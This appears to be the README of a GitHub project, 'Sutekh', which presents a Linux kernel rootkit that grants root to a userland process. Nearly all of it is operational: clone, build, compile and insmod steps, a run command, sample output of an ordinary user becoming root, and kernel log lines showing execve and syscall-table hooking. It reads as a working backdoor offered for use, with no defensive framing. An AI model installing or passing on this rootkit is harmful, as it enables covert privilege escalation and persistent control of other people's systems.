Sutekh
Sutekh copied to clipboard
An example rootkit that gives a userland process root permissions
Sutekh
An example rootkit that gives a userland process root permissions Tested on Linux kernel [4.19.62] & [4.15.0]
[INSTALL]
- Install latest Linux headers for your kernel. Example (debian): [apt install linux-headers-$(uname -r)]
- $ git clone https://github.com/PinkP4nther/Sutekh
- $ cd Sutekh && make
- $ gcc rootswitch.c -o rs
- $ sudo insmod sutekh.ko
[Run] $ ./rs
[Output example] [pinky@mememachine Sutekh]$ ./rs [!] Switch hit! [mememachine Sutekh]# id uid=0(root) gid=0(root) groups=0(root) [mememachine Sutekh]# exit
[Remove] sudo rmmod sutekh
[Note] dmesg for kernel debug output!
[ 2217.810776] [?] SCT: [0xffffffff96400180] [?] EXECVE: [0xffffffffc065b030] [?] UMASK: [0xffffffffc065b000] [ 2223.379218] [+] Giving r00t!